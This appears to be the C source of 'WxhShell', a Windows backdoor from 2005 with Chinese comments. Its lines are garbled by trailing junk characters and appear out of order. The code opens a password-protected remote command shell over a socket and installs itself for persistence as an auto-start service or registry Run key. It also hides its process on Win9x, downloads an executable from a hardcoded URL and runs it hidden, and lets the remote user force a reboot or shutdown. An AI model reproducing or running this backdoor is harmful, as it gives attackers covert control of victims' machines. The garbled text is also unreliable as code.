    if(Boot(SHUTDOWN)) UbE*x2N  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <ppM\$  
    else { =ltT6of@o  
    closesocket(wsh); ]e@'9`G-'  
    ExitThread(0); P(8zJk6h),  
    } *D! $gfa  
    break; /KFCq|;7s,  
    } *aT3L#0(  
  // 获取shell 'z0@|a  
  case 's': { LRW7_XYz  
    CmdShell(wsh); (?Fz{  
    closesocket(wsh); yxh8sAZ  
    ExitThread(0); O+A/thI%*S  
    break; TXD\i Dq  
  } V4ml& D  
  // 退出 6;i]v|M-  
  case 'x': {  T},Nqt<  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); OV8Y)%t"  
    CloseIt(wsh); q$7WZ+Y\  
    break; ^\Gaf5{  
    } 48nZ H=(Eh  
  // 离开 WDNuR #J?  
  case 'q': { {SVd='!V  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); `6koQZm  
    closesocket(wsh); ZNNgi@6>  
    WSACleanup(); T|`nw_0  
    exit(1); Vi[* a  
    break; g+|1khS)  
        } ORHs1/L`j  
  } #9uNJla  
  } #?-2f{  
@ eu4W^W  
  // 提示信息 GY%lPp  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Elw fqfO  
} fw Ooi 'jb  
  } p3>p1tC  
t$m~O?I  
  return; 0+p <Jc!  
} `Nmw  
H5j6$y|I|N  
// shell模块句柄 wGD*25M7$  
int CmdShell(SOCKET sock) Li)rs<IX;m  
{ o<Hk/e~  
STARTUPINFO si; {Hg.ctam  
ZeroMemory(&si,sizeof(si)); i_8v >F  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 97;`R[^J  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; N K.]yw'  
PROCESS_INFORMATION ProcessInfo; \7o&'zEw  
char cmdline[]="cmd"; 9}LcJ  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); P0,@#M&  
  return 0; Lq<#  
} Ib3n%AG  
1S .~Vh0Q,  
// 自身启动模式 T9N][5\  
int StartFromService(void) yXyL,R  
{ Wv!#B$J~U  
typedef struct q9 !)YP+w  
{ <=2\xJfxB  
  DWORD ExitStatus; ~Ry?}5&:  
  DWORD PebBaseAddress; FY1 >{Bn  
  DWORD AffinityMask; |Xz-rgkQ  
  DWORD BasePriority; ([\mnL<FC  
  ULONG UniqueProcessId; a hQdBoj  
  ULONG InheritedFromUniqueProcessId; IJ >qs8  
}   PROCESS_BASIC_INFORMATION; nKpXRuFn\  
foO /Yc  
PROCNTQSIP NtQueryInformationProcess; %i[G6+-  
x{y}pH"H  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; }Fs;sfH  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; *9Eep~ 6  
\~u7 k  
  HANDLE             hProcess; x-J.*X/aB  
  PROCESS_BASIC_INFORMATION pbi; t&m 8 V$Q  
N 0<([B;  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); &5k$ v^W5  
  if(NULL == hInst ) return 0; Itaq4^CE  
Y~vyCU5nWR  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); W.u+R?a=  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); xv|?;Zf6w  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 3Wv -olv  
(SMnYh4  
  if (!NtQueryInformationProcess) return 0; zM:&`6;e  
]34fG3D|  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); kF{'?R5 w  
  if(!hProcess) return 0; #_oN.1u57  
E<6Fjy  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; i"0]L5=P  
!' ;1;k);  
  CloseHandle(hProcess); ,6N|?<26O  
.T;:6/??1  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); s}3g+T\l1w  
if(hProcess==NULL) return 0; DAYR=s  
Ss>ez8q  
HMODULE hMod; -lICoRO#  
char procName[255]; Fl8*dXG&  
unsigned long cbNeeded; I?y!d G  
H{yUKZH*  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); %0-fn'  
\mGx-g6  
  CloseHandle(hProcess); Vz4 /u|gt  
,v^A;,q  
if(strstr(procName,"services")) return 1; // 以服务启动 ldFK3+V  
NA@<v{z  
  return 0; // 注册表启动 w~+C.4=7  
} mV~aZM0'  
}J_"/bB  
// 主模块 R -#40  
int StartWxhshell(LPSTR lpCmdLine) .5?e)o)  
{ R*S9[fqC[  
  SOCKET wsl; "INIP?  
BOOL val=TRUE; 'BUix!k0<  
  int port=0; (%N=7?  
  struct sockaddr_in door; !]#@:Z  
TPE1}8p17  
  if(wscfg.ws_autoins) Install(); ?LxBH -o(  
VK)vb.:  
port=atoi(lpCmdLine); _mBFmXHHS$  
Z+8Q{|Ev  
if(port<=0) port=wscfg.ws_port; kJP` C\4}f  
E}qW'  
  WSADATA data; p"'knZ G  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; U!y GZEU"[  
;,WI_iP(w  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   O%H c%EfG  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Qk5pRoL_  
  door.sin_family = AF_INET; ?**9hu\BG  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); W{@,DQ  
  door.sin_port = htons(port); e@j&c:p(Y  
6VUkZKc  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ?b,4mDptE  
closesocket(wsl); ^pc?oDPSg  
return 1; frh!dN  
} '?gF9:  
Qq7%{`< }  
  if(listen(wsl,2) == INVALID_SOCKET) { ]?un'$%e  
closesocket(wsl); fpPB_P{Ua  
return 1; tZL|;K  
} s@$SM,tnn  
  Wxhshell(wsl); 6x*$/1'M3;  
  WSACleanup(); 4lp9 0sa  
;:WM^S  
return 0; uge~*S  
r*F^8_YMK  
} +sY8<y@%  
L>3-z>u,  
// 以NT服务方式启动 #qnK nxD  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) c*!xdK  
{ 6&,{"N0 T  
DWORD   status = 0; , tEd>  
  DWORD   specificError = 0xfffffff; ~9We)FvU4  
S\poa:D`  
  serviceStatus.dwServiceType     = SERVICE_WIN32; [Dq@(Q s'  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; hJc^NU5  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ~[Fh+t(Y  
  serviceStatus.dwWin32ExitCode     = 0; QAxR'.d  
  serviceStatus.dwServiceSpecificExitCode = 0; J/k4CV*li(  
  serviceStatus.dwCheckPoint       = 0; '=V1'I*  
  serviceStatus.dwWaitHint       = 0; S%6V(L|  
eaWK2%v  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Z@ dS,M*  
  if (hServiceStatusHandle==0) return; xoB "hNIX  
kJ_XG;8  
status = GetLastError(); 'Szk!,_  
  if (status!=NO_ERROR) @{ CP18~:  
{ UCBx?9O/0  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; $/)0iL{0  
    serviceStatus.dwCheckPoint       = 0; j e;^i,&  
    serviceStatus.dwWaitHint       = 0; =XhxD<kI  
    serviceStatus.dwWin32ExitCode     = status; S=zW wo$  
    serviceStatus.dwServiceSpecificExitCode = specificError; Ly_.% f  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); c#L.I  
    return; b~td ^  
  } zI& ).  
k:yrh:JhB  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; C"cBlru8B  
  serviceStatus.dwCheckPoint       = 0; .4%6_`E  
  serviceStatus.dwWaitHint       = 0; )VM'^sV?  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Fo;.  
} d%lwg~@&|5  
m`!Vryf  
// 处理NT服务事件,比如:启动、停止 D>6vI  
VOID WINAPI NTServiceHandler(DWORD fdwControl) I AFj_VWC0  
{ j"4]iI+{"  
switch(fdwControl) $=ua$R4Z+  
{ jQ X9KwSP  
case SERVICE_CONTROL_STOP: Egm-PoPe  
  serviceStatus.dwWin32ExitCode = 0; X B[C&3I  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; J,_IHzO~Z  
  serviceStatus.dwCheckPoint   = 0; @"vTz8oY@  
  serviceStatus.dwWaitHint     = 0; q6T>y%|FZ  
  { Pm=i(TBS/  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); eFz!`a^dX  
  } 52v@zDY  
  return; A5 <T7~U  
case SERVICE_CONTROL_PAUSE: nK>D& S_!  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; s g6e% 5  
  break; o#frNT}  
case SERVICE_CONTROL_CONTINUE: omZ bn  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; p8X$yv  
  break;  $1.l|  
case SERVICE_CONTROL_INTERROGATE: pcO{%]?p  
  break; MngfXm  
}; r.10b]b  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [W--%=Ou  
} ]D\p<4uepM  
+]S!pyZ"   
// 标准应用程序主函数 yoVN|5  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 'U{6LSaCb  
{ `\Hs{t]  
x-Fl|kwX.5  
// 获取操作系统版本 |n %<p  
OsIsNt=GetOsVer(); *OR(8;  
GetModuleFileName(NULL,ExeFile,MAX_PATH); e =4k|8G  
MtXd}/  
  // 从命令行安装 ?{KC@c*c  
  if(strpbrk(lpCmdLine,"iI")) Install(); F94Qb}  
:qxd s>Xm  
  // 下载执行文件 i= s>a;*#  
if(wscfg.ws_downexe) { JNSH'9!n6  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 1+NmiGKg  
  WinExec(wscfg.ws_filenam,SW_HIDE); aj6{  
} od`:w[2\  
:}[[G2|9  
if(!OsIsNt) {  j.vBld  
// 如果时win9x,隐藏进程并且设置为注册表启动 w*qmC<D$A  
HideProc(); I3D#wXW  
StartWxhshell(lpCmdLine); S$%Y{  
} ]zR,Y= #  
else ~glFB`?[  
  if(StartFromService()) 8+U':xR  
  // 以服务方式启动 Oo`b#!L  
  StartServiceCtrlDispatcher(DispatchTable); ealh>Y  
else [0-zJy|,  
  // 普通方式启动 Jm {~H%  
  StartWxhshell(lpCmdLine); R:FyCT_,  
*l\vqgv.Z  
return 0; %{K6   
} u9^R ?y  
_.ELN/$-  
$jKeJn8,  
jHWJpm(  
=========================================== wA>bLPTw  
aFrVP  
xrky5[XoD  
2z=GKV  
,O}2LaK.O  
hR3Pa'/i  
" 0CS80 pC  
) bPF@'rF2  
#include <stdio.h> x1ID6kI[{*  
#include <string.h> X>6VucH{\  
#include <windows.h> uyDYS  
#include <winsock2.h> QWWoj[d#  
#include <winsvc.h> M[ZuXH}  
#include <urlmon.h> `L<)9*  
@5-+>\Hd^t  
#pragma comment (lib, "Ws2_32.lib") 3kBpH7h4  
#pragma comment (lib, "urlmon.lib") .+c YzS] !  
3((53@s98  
#define MAX_USER   100 // 最大客户端连接数 Oz1ou[8k  
#define BUF_SOCK   200 // sock buffer .5m^)hi  
#define KEY_BUFF   255 // 输入 buffer .cX,"2;n  
07dUBoq  
#define REBOOT     0   // 重启 E~|`Q6&Y  
#define SHUTDOWN   1   // 关机 Ev\kq>2 O  
4$+9k;m'  
#define DEF_PORT   5000 // 监听端口 6}6ky9  
,-XJ@@2gM  
#define REG_LEN     16   // 注册表键长度 v1j]&3O  
#define SVC_LEN     80   // NT服务名长度 Eh)VU_D  
<#9zc'ED:  
// 从dll定义API YMx zj  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); r,4V SyZF\  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); m 5NF)eL  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); jdYv*/^  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); =9;jVaEMJL  
9h6xli  
// wxhshell配置信息 Pk; 9\0k7  
struct WSCFG { K,IPVjS  
  int ws_port;         // 监听端口 p3eJFg$  
  char ws_passstr[REG_LEN]; // 口令 r_Rjjo  
  int ws_autoins;       // 安装标记, 1=yes 0=no uGQCW\!"4  
  char ws_regname[REG_LEN]; // 注册表键名 ]&ptld;  
  char ws_svcname[REG_LEN]; // 服务名 N2_=^s7  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 m~Dq0 T  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 =;3|?J0=  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 oLn| UWe_  
int ws_downexe;       // 下载执行标记, 1=yes 0=no G\H@lFh  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" wz!]]EQ!o  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 4[!&L:tR  
B!le=V,@,  
}; =P+S]<O  
vAJfMUlP  
// default Wxhshell configuration z~oGd,  
struct WSCFG wscfg={DEF_PORT, Ac.z6]p  
    "xuhuanlingzhe", Dg#Ab8  
    1, #V8='qD  
    "Wxhshell", ,9#G/nF  
    "Wxhshell", k- sbZL  
            "WxhShell Service", " I@Z:[=2  
    "Wrsky Windows CmdShell Service", Z3R..vy8  
    "Please Input Your Password: ", ?#kI9n<O  
  1, -c=IO(B/  
  "http://www.wrsky.com/wxhshell.exe", Drlt xI)  
  "Wxhshell.exe" C_#0Y_O  
    }; F ,{nG[PL  
3@}HdLmN|  
// 消息定义模块 N_VAdNJ^:  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; PSHs<Z47  
char *msg_ws_prompt="\n\r? for help\n\r#>"; A}\Rms 2  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 7Hpsmfm  
char *msg_ws_ext="\n\rExit."; ){>;eky  
char *msg_ws_end="\n\rQuit."; ~pj9_I  
char *msg_ws_boot="\n\rReboot..."; US7hKNm.  
char *msg_ws_poff="\n\rShutdown..."; _jZDSz|Yb  
char *msg_ws_down="\n\rSave to "; Q$,8yTM  
>CPkL_@VZ=  
char *msg_ws_err="\n\rErr!"; IHo6&  
char *msg_ws_ok="\n\rOK!"; 7B% @f9g  
(7ew&u\Li  
char ExeFile[MAX_PATH]; !4jS=Lhe>  
int nUser = 0; ^@)/VfVg  
HANDLE handles[MAX_USER]; 8XJ%Yuu  
int OsIsNt; @;<w"j`r  
]jHB'Y  
SERVICE_STATUS       serviceStatus; 317Buk  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; @-b}iP<T  
H[,.nH_>+  
// 函数声明 >M:5yk@  
int Install(void); 4g1u9Sc0  
int Uninstall(void); K)Db3JIIk  
int DownloadFile(char *sURL, SOCKET wsh); Ca BTqo  
int Boot(int flag); &9s6p6 eb  
void HideProc(void); DO03vN  
int GetOsVer(void); ']vX  
int Wxhshell(SOCKET wsl); \Y!Z3CK  
void TalkWithClient(void *cs); )X^nzhZ2O"  
int CmdShell(SOCKET sock); X Y4s  
int StartFromService(void); $;;?'!%.  
int StartWxhshell(LPSTR lpCmdLine); *qb`wg  
Op%^dwVG(v  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); u khI#:[  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); cR5<.$aY  
KH KqE6  
// 数据结构和表定义 &`TX4b^/!  
SERVICE_TABLE_ENTRY DispatchTable[] = =_yOX=g|  
{ N%B#f\N  
{wscfg.ws_svcname, NTServiceMain}, 8:&@MZQ&!  
{NULL, NULL} TVFGonVY  
}; +&?VA!}.  
iD(K*[;lc  
// 自我安装 #Y18z5vo  
int Install(void) z|b4w7 I  
{ &6\rKOsn  
  char svExeFile[MAX_PATH]; @6D<D6`  
  HKEY key; 9i`LOl:;  
  strcpy(svExeFile,ExeFile); N l@Hx  
t'Q48QAb?  
// 如果是win9x系统,修改注册表设为自启动 _ _)Z Q  
if(!OsIsNt) { IeU.T@ $  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { x9_ Lt4  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |\_O8=B%  
  RegCloseKey(key); 7>ODaj   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;c>Yr ?^  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); kcYR:;y  
  RegCloseKey(key); M}5C;E*  
  return 0; gN]`$==c[  
    } MW$9,[  
  } )@Zel.XD  
} "7<4NV@yQ  
else { X&lkA (  
,!Hl@(  
// 如果是NT以上系统,安装为系统服务 #SqOJX~Q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); u\E.H5u27  
if (schSCManager!=0) 16 Xwtn72  
{ ]Pd*w`R  
  SC_HANDLE schService = CreateService 1OGlD+f  
  ( NfO0^^"  
  schSCManager, uyA9`~p=#  
  wscfg.ws_svcname, #* Hhe>  
  wscfg.ws_svcdisp, gvU6p[D  
  SERVICE_ALL_ACCESS, +.R-a+y3  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , YT:1=Nf}  
  SERVICE_AUTO_START, c"z%AzUV'  
  SERVICE_ERROR_NORMAL, 9/%|#b-z  
  svExeFile, N4Lk3]  
  NULL, iK#{#ebAoW  
  NULL, T5Fah#-4  
  NULL, w}1)am &pD  
  NULL, Sph+kiy|  
  NULL /d=$,q1  
  ); 3|?fGT;P  
  if (schService!=0) *m"mt  
  { 4YCGh  
  CloseServiceHandle(schService); };+s0:H  
  CloseServiceHandle(schSCManager); zyR pHM$E  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); C}>&#)IH  
  strcat(svExeFile,wscfg.ws_svcname); YG8oy!Zl  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { g/@CESfm'  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 67g/(4&  
  RegCloseKey(key); UB1/FM4~  
  return 0; * =Fcu@  
    } } F.1j!71L  
  } vP?yl "U  
  CloseServiceHandle(schSCManager); M`<D Z<:<  
} -?(RoWv@X&  
} c1 <g!Q&E  
#X8[g_d/  
return 1; #SXXYh-e  
} B%pvk.`  
xn@jL;+<-  
// 自我卸载 Qh[t##I/  
int Uninstall(void) H xlw1(zS  
{ 1,QRfckks  
  HKEY key; Xm4wuX"e=  
Mm;)O'XDE  
if(!OsIsNt) { r%#qbsN  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~4^e a  
  RegDeleteValue(key,wscfg.ws_regname); g3Q #B7A  
  RegCloseKey(key); yS43>UK_W+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { b?$09,{0  
  RegDeleteValue(key,wscfg.ws_regname);  ;E&XFTdO  
  RegCloseKey(key); 3q>"#+R.t  
  return 0; ,*4"d._Y  
  } NLpD,q{  
} G#V22Wca8  
} L$xRn/\  
else { -Gpj^aBU  
Dk-L4FS  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); c`.:"i" k3  
if (schSCManager!=0) r&[~/m8zl  
{ EyeLC6u  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); T82_`u  
  if (schService!=0) YZ>cE#  
  { g)9/z  
  if(DeleteService(schService)!=0) { -0`hJ_(  
  CloseServiceHandle(schService); fUXp)0O  
  CloseServiceHandle(schSCManager); GN<I|mGLJK  
  return 0; 8z CAy@u  
  } 3KKe4{oG  
  CloseServiceHandle(schService); T42g4j/l~  
  } LTe7f8A  
  CloseServiceHandle(schSCManager); ,fw[J  
} = I(s7=Liu  
} 0- UeFy  
{P-PH$ E-  
return 1; a)1,/:7'  
} b {5|2&=  
r2th6hl~  
// 从指定url下载文件 Lk9>7xY  
int DownloadFile(char *sURL, SOCKET wsh) IO#W#wW$M  
{ [UH5D~Yx  
  HRESULT hr; ,ln uu  
char seps[]= "/"; 7N"Bbl  
char *token; ["}A#cO652  
char *file; Cf7\>U->  
char myURL[MAX_PATH]; x\rZoF.NQ  
char myFILE[MAX_PATH]; rieQ&Jt"  
?N ga  
strcpy(myURL,sURL); aK{\8L3]  
  token=strtok(myURL,seps); mSfhl(<L  
  while(token!=NULL) l.x }I"tf  
  { i[pf*W0g  
    file=token; /aqN`  
  token=strtok(NULL,seps); Ic K=E ]p  
  } LXLDu2/@  
2YKM9Ks  
GetCurrentDirectory(MAX_PATH,myFILE); SDIeq  
strcat(myFILE, "\\"); fF("c6:w(  
strcat(myFILE, file); j,xPN=+hT  
  send(wsh,myFILE,strlen(myFILE),0); .;b> T  
send(wsh,"...",3,0); uKy*N*}  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); =T)2wcXBB  
  if(hr==S_OK) lt4jnV2"a  
return 0; fn OkH  
else d_uy;-3  
return 1; *u/|NU&X  
wIF ":'  
} !5j3gr ~  
>~rd5xlk  
// 系统电源模块 (;&?B.<\:  
int Boot(int flag) R3n&o%$*  
{ Y:,R7EO{!  
  HANDLE hToken; }i&dZTBGW  
  TOKEN_PRIVILEGES tkp; dSVu_*y  
k~f+LO  
  if(OsIsNt) { +{%(_ <  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); b3xkJ&Z  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); j/D)UWkR  
    tkp.PrivilegeCount = 1; 8>Z$/1Mh  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; EcoUpiL%2  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); KeI:/2  
if(flag==REBOOT) { CLEG'bZa,  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) e:LZs0  
  return 0; $ud>Z;X=P  
} 1gm/{w6O  
else { >iH).:j  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) zm+4Rl(  
  return 0; ]B3FTqR{i  
} vvAk<[  
  } NP`s[  
  else { 15 o.j!S  
if(flag==REBOOT) { V6MT>T  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 93IOG{OAY  
  return 0; 4AOS}@~W  
} U;{,lS2l  
else { MQ(/l_=zQ  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) W8$=a  
  return 0; i?>> 9f@F  
} )O@^H   
} !X%!7wsc  
Gv,92ny!|  
return 1; 9]@J*A}=l  
} f WjS)  
`qDz=,)WP  
// win9x进程隐藏模块 ,{?bM  
void HideProc(void) &JhIn%=-  
{ -ouJf}#R  
kg I=0W>  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); @ P"`=BU&  
  if ( hKernel != NULL ) o+-Ge J  
  { 5**5b9bj-9  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); d]ZC8<`w  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); *{dD'9Bg  
    FreeLibrary(hKernel); d50IAa^p6J  
  } M.:@<S  
C}= _8N  
return; h2|vB+W-  
} 9U9c"'g  
V,XP&,no\j  
// 获取操作系统版本 Z#Zzi5<  
int GetOsVer(void) 4zqE?$HM'  
{ \kV7NA  
  OSVERSIONINFO winfo; ,}IER  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ]2\2/~l  
  GetVersionEx(&winfo); 39T&c85  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 3TiXYH  
  return 1; 7 Mki?EG  
  else O&gwr  
  return 0; "UoCT7X  
} )fd-IYi-3  
Rhv".epz  
// 客户端句柄模块 t6bWSz0  
int Wxhshell(SOCKET wsl) I0l.KiBm  
{ xeYySM=  
  SOCKET wsh; 2gL[\/s  
  struct sockaddr_in client; /ik)4]>  
  DWORD myID; jO&f*rxN  
fteyG$-s  
  while(nUser<MAX_USER) i[ Gw 7'f  
{ !v5sWVVR  
  int nSize=sizeof(client); 86[RH!e  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); m{lRFKx>s  
  if(wsh==INVALID_SOCKET) return 1; UQ$\ an'  
;%rs{XO9  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); oX 2DFgz  
if(handles[nUser]==0) lYZ@a4TA  
  closesocket(wsh); ?mYV\kDt\  
else j |'# 5H`  
  nUser++; @%G'U&R{  
  } D2TXOPH  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); SJ@8[n.x  
yToT7 X7F7  
  return 0;  zfjDb  
} t)oES>W1  
(ciGLfNG  
// 关闭 socket K^,&ub.L)  
void CloseIt(SOCKET wsh) cu479VzPx:  
{ Ql#W /x,e  
closesocket(wsh); 1(:b{Bl  
nUser--; 3d#9Wyxs  
ExitThread(0); U= c5zrs  
} ^b"x|8  
OP|.I._I  
// 客户端请求句柄 xyS2_Q  
void TalkWithClient(void *cs) |%:q hs,  
{ )~?S0]j}  
[al(>Wr9  
  SOCKET wsh=(SOCKET)cs; C NzSBm  
  char pwd[SVC_LEN]; cy&  
  char cmd[KEY_BUFF]; (}*\ {  
char chr[1]; rY[3_NG%  
int i,j; hpqHllL  
,NaV [ "9$  
  while (nUser < MAX_USER) { n~"g'Y  
u,Q_WR-wJ  
if(wscfg.ws_passstr) { ,<Grd5em.  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }"&n[/8~  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); f*|8n$%   
  //ZeroMemory(pwd,KEY_BUFF); ub zb  
      i=0; bG5^h  
  while(i<SVC_LEN) { T.R>xd`9 "  
taWirq d9  
  // 设置超时 8"?Vcw&  
  fd_set FdRead; Sg CqxFii  
  struct timeval TimeOut; q(ZB.  
  FD_ZERO(&FdRead); LM"W)S  
  FD_SET(wsh,&FdRead); 'FPcAW^8  
  TimeOut.tv_sec=8; 45r]wT(C   
  TimeOut.tv_usec=0; vu_>U({. T  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Xa{~a3Wy  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); =9DhO7I'  
uS: A4tN  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ?;:9 W  
  pwd=chr[0]; 8(vC jL  
  if(chr[0]==0xd || chr[0]==0xa) { .*RB~c t  
  pwd=0; Q>}e IQ Y  
  break; A=v lC?&Z  
  } j{Yt70Wv  
  i++; jpYw#]Q  
    } fH#F"^ A  
g)Vq5en*   
  // 如果是非法用户,关闭 socket "%.|n|  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); =RW* %8C  
} <t?x 'r?@  
X \b}jo^96  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); a<57(Sf  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @MN}^umx`  
;e#>n!<u  
while(1) { *tTP8ZCQ[  
u=d`j  
  ZeroMemory(cmd,KEY_BUFF); v5&xY2RI7  
lgCHGv2@  
      // 自动支持客户端 telnet标准   D+ah ok  
  j=0; hb /8Q  
  while(j<KEY_BUFF) { h"VpQhi  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); dAYI DE  
  cmd[j]=chr[0]; Dh\S`nfFq  
  if(chr[0]==0xa || chr[0]==0xd) { "B|nhd  
  cmd[j]=0; dxzvPgi?  
  break; 26\HV  
  }  /gqqKUx  
  j++;  ESC  
    } ql{^"8x  
=R8f)UQYx  
  // 下载文件 l1-4n*fU  
  if(strstr(cmd,"http://")) { ^Ei*M0fF  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); -{yDk$"  
  if(DownloadFile(cmd,wsh)) DHh+%|e  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); SBCL1aM  
  else  _/8_,9H  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |Q5H9<*  
  } p&k 0Rx0Q3  
